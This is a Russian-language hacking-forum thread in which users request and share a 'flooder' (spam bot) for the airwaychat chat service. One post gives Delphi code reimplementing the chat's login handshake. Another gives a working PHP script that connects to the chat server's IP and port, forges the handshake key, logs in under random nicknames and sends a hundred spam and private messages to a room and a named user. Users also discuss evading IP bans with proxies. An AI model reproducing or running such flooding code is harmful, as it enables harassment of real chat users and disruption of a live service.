Чаты Флудилка airwaychat

Discussion in 'Веб-уязвимости' started by mike_banks, 4 Feb 2012.

  1. mike_banks

    mike_banks New Member

    Joined:
    3 Feb 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Помогите плиз найти флудилку для airwaychat.... сейчас там кто то часто сидит и как то флудит.... Есть же... облазил весь инет и весь форум,ничего не нашел :(
     
  2. freeway405

    freeway405 New Member

    Joined:
    3 Feb 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    тоже интересует. вообще всё что на айрвэйчате пашет напишите
     
  3. Modo

    Modo New Member

    Joined:
    11 Feb 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Та да, флудит так кто-то, бываю там иногда, и не по детски этот кто-то флудит
     
  4. Ameer

    Ameer New Member

    Joined:
    6 May 2012
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Присоединяюсь к просьбе.
     
  5. Ameer

    Ameer New Member

    Joined:
    6 May 2012
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Не думаю, что за флудер для этого чата стоит платить. Выдохся он.
     
  6. Ameer

    Ameer New Member

    Joined:
    6 May 2012
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    http://webcache.googleusercontent.com/search?q=cache:AXI3BZcp5gsJ:paste.pro/%3Fdl%3D5151088&hl=ru&client=firefox&gl=ru&prmd=imvns&strip=0
    Это нашёл в инете, но так и не понял, что нужно делать.
     
    #6 Ameer, 16 Jun 2012
    Last edited by a moderator: 13 Jul 2012
  7. Ameer

    Ameer New Member

    Joined:
    6 May 2012
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Если не открывается по ссылке.
     
  8. MrBK201

    MrBK201 Banned

    Joined:
    6 Jun 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Так же интересует.
     
  9. fl00der

    fl00der Moderator

    Joined:
    17 Dec 2008
    Messages:
    1,105
    Likes Received:
    305
    Reputations:
    86
    Запилите ссылку на сам чатик.
     
    _________________________
  10. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,160
    Likes Received:
    421
    Reputations:
    231
    http://www.airwaychat.com
     
  11. JimboL

    JimboL Banned

    Joined:
    10 Jul 2012
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0
    по возможности платной пользуйся, не так уж и дорого
     
  12. Ameer

    Ameer New Member

    Joined:
    6 May 2012
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    www.airwaychatpc.ru
     
  13. Welckom

    Welckom New Member

    Joined:
    3 Oct 2012
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    а как запустить этот скрипт подскажите7????
     
  14. Welckom

    Welckom New Member

    Joined:
    3 Oct 2012
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    как ты его запускал??????!
     
  15. awc

    awc New Member

    Joined:
    20 Oct 2012
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Набросок авторизации на delphi.
    Если чуть еще посидеть можно и неплохой флудер написать :)
    мне он уже стал неинтересен
    Code:
      unit Unit1;
    
     interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Menus, Sockets, XPMan, Buttons, ComCtrls, ActnList;
    
     type
        TForm1 = class(TForm)
        GroupBox1: TGroupBox;
        Button1: TButton;
        MainMenu1: TMainMenu;
        N1: TMenuItem;
        N2: TMenuItem;
        TcpClient1: TTcpClient;
        Memo1: TMemo;
        Button4: TButton;
        XPManifest1: TXPManifest;
        Button6: TButton;
        TcpServer1: TTcpServer;
        Label1: TLabel;
        Edit1: TEdit;
        Edit2: TEdit;
        Edit4: TEdit;
        Label2: TLabel;
        Label3: TLabel;
        Label4: TLabel;
        Label5: TLabel;
        Edit5: TEdit;
        Button2: TButton;
        Label6: TLabel;
        Edit3: TEdit;
        Button3: TButton;
        procedure N2Click(Sender: TObject);
        procedure Button1Click(Sender: TObject);
        procedure cLog(msg: String);
        procedure Button6Click(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient);
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        private { Private declarations }
        public { Public declarations }
     end;
     var Form1: TForm1;
     implementation {$R *.dfm}
    
     procedure TForm1.N2Click(Sender: TObject);
     begin
       close;
     end;
    
     procedure TForm1.cLog(msg: String);
     begin
       Memo1.Lines.Add(msg)
     end;
    
     procedure TForm1.Button1Click(Sender: TObject);
     var line,s,j,msg,txt,w,key,kkk, time,timee, date,datee, login,pass,color,room:String;
     int,i : Integer;
     begin
       Button1.Enabled:=false;
       Button4.Enabled:=true;
       Button6.Enabled:=true;
       Button3.Enabled:=true;
       Button2.Enabled:=true;
       Edit5.Enabled:=true;
       Edit1.Enabled:=false;
       Edit2.Enabled:=false;
       Edit3.Enabled:=false;
       Edit4.Enabled:=false;
       Memo1.Enabled:=true;
    
       TcpClient1.RemoteHost:='71.6.147.234';
       TcpClient1.RemotePort:='4000';
       TcpClient1.Active := True;
       TcpClient1.Connect;
    
       txt:=TcpClient1.Receiveln(#$D#$A);
       w := StringReplace(txt, 'C ', '', [rfReplaceAll, rfIgnoreCase]);
      // txt := w;
       int := StrToInt(w) Mod 47385 + 90204;
       key:=IntToStr(int);
       time:=TimeToStr(SysUtils.Time);
       timee := StringReplace(time, ':', '_', [rfReplaceAll, rfIgnoreCase]);
       date:=DateToStr(SysUtils.Date);
       datee := StringReplace(date, '.', '_', [rfReplaceAll, rfIgnoreCase]);
               login:=Edit1.Text;
               pass:=Edit2.Text;
               color:=Edit3.Text;
               room:=Edit4.Text;
      TCPClient1.connect;
      TcpClient1.SendLn('HELLO "90204" "Atalk_1.0.2" "300" "300" "0.'+datee+'_'+timee+'_'+key+'" "3" "2" "'+key+'" "0"'#13'');
      TcpClient1.SendLn('LOGIN "'+login+'"');
      TcpClient1.SendLn('PASS "'+pass+'"');
      TcpClient1.SendLn('S_COLOR "'+color+'"');
     TcpClient1.SendLn('CHROOM "'+room+'"');
      TcpClient1.SendLn('LSUSR');
      //msg:=':-)';
      //j:='S "'+msg+''+IntToStr(i)+'"'#13''#13;
    
      //TcpClient1.SendLn(j);
    
     end;
    
     procedure TForm1.Button6Click(Sender: TObject);
     begin
       Memo1.Clear;
     end;
    
     procedure TForm1.Button4Click(Sender: TObject);
     begin
     TcpClient1.Sendln('EXIT');
     cLog('Exit...');
      TcpClient1.Disconnect;
      Button4.Enabled:=false;
      Button1.Enabled:=true;
    
       Button6.Enabled:=false;
       Button3.Enabled:=false;
       Button2.Enabled:=false;
       Edit5.Enabled:=false;
    
     end;
    
    
     procedure TForm1.TcpServer1Accept(Sender: TObject; ClientSocket: TCustomIpClient);
    var
    s:string;
    begin
    s:=ClientSocket.receiveln;
    while s<>'' do begin
    CLog(ClientSocket.RemoteHost+': '+s);
    s:=ClientSocket.receiveln;
    end;
    TCPClient1.Disconnect;
     end;
    
    procedure TForm1.Button2Click(Sender: TObject);
    var j,g:String;
    begin
     TcpClient1.Connect;
     j:='S "'+Edit5.Text+'"'#13''#13;
     g := StringReplace(j, 'S', '"', [rfReplaceAll, rfReplaceAll]);
     TcpClient1.Sendln(j);
     cLog(Edit1.Text+':'+g);
    end;
    
    procedure TForm1.Button3Click(Sender: TObject);
    begin
      Edit5.Clear;
    end;
    end.
     
    #15 awc, 20 Oct 2012
    Last edited: 20 Oct 2012
  16. MacBookPro

    MacBookPro New Member

    Joined:
    25 Oct 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Awc, в чем проблемс? давай допишем
     
  17. cikalo37

    cikalo37 New Member

    Joined:
    7 Oct 2012
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    как допишите выложите сюда плиз
     
  18. awc

    awc New Member

    Joined:
    20 Oct 2012
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    MacBookPro, в данном чате при частых запросах ip баниться, нужно сделать работу с проксями, у меня нет для этого знаний. Если кто то покажет какой-нибудь пример(с загрузкой socks4/5 с *.txt файла и отправкой с этого подключенного прокси запроса), могу добавить в проект и выложить готовый.
     
  19. cikalo37

    cikalo37 New Member

    Joined:
    7 Oct 2012
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    а как запускать этот скрипт я так понел не через денвер ?
     
  20. -=charon=-

    -=charon=- Elder - Старейшина

    Joined:
    5 Sep 2009
    Messages:
    210
    Likes Received:
    116
    Reputations:
    15
    Может кому понадобится..рабочий скрипт флудера.перед флудом редактируйте код под себя.в какой комнате с каких ников флудить и прочее.
    Code:
    <?php
    set_time_limit(0);
    $fp = fsockopen("tcp://71.6.147.234", 4000);
    $c = fread($fp, 160);
    preg_match('#([0-9]+)#', $c, $key);
    $key = $key[0] % 47385 + 90204;
    $rand = rand(111,999); // рандомные числа в нике
    $login = "ник ".$rand; // логин
    $pass = "123"; // пароль
    $chroom = "Ru.Школьники"; // комната
    $text = "основной текст";
    $mat = array("продолжение текст 1", "текст 2", "текст 3", "сюда нечего не писать!!!");
    $psms = "flood flood"; // приватное сообщение
    $plogin = "sarma1nd"; // логин приватного сообщения
    $ua = "Atalk_1.0.2"; // браузер
    $sleep = 3; // время замерания
    $h=date('H');
    $h=$h[0]==0?$h[1]:$h;
    $i=date('i');
    $i=$i[0]==0?$i[1]:$i;
    $s=date('s');
    $s=$s[0]==0?$s[1]:$s;
    $keygen=date('Y_n_j_'.$h.'_'.$i.'_'.$s).'_'.$key;
    
    $color = array("Black", "Magenta", "Black", "Magenta", "Black", "Magenta", "Black", "Magenta", "Black", "Magenta");
    $color_rand = array_rand($color, 2);
    
    $out="HELLO \"90204\" \"$ua\" \"300\" \"300\" \"".$keygen."\" \"3\" \"2\" \"$key\" \"0\"\r\nLOGIN \"$login\"\r\nPASS \"$pass\"\r\nS_COLOR \"".$color[$color_rand[0]]."\"\r\nCHROOM $chroom\r\nLSUSR\r\n";
    
    fputs($fp, $out);
    for($i=1; $i<=100; $i++)
    {
         sleep($sleep);
         $mat_rand = array_rand($mat, 2);
         $s = $mat[$mat_rand[0]];
         fwrite($fp, "S \"$text".$s."\"\r\nPMAIL \"$plogin\" \"$psms\"\r\n\r\n");
    }
    sleep($sleep);
    fwrite($fp, "EXIT\r\n");
    if(fclose($fp))
    
    //PMAIL \"$plogin\" \"$psms\"\r\n\r\n  - для написания в приват
    ?>
     
Loading...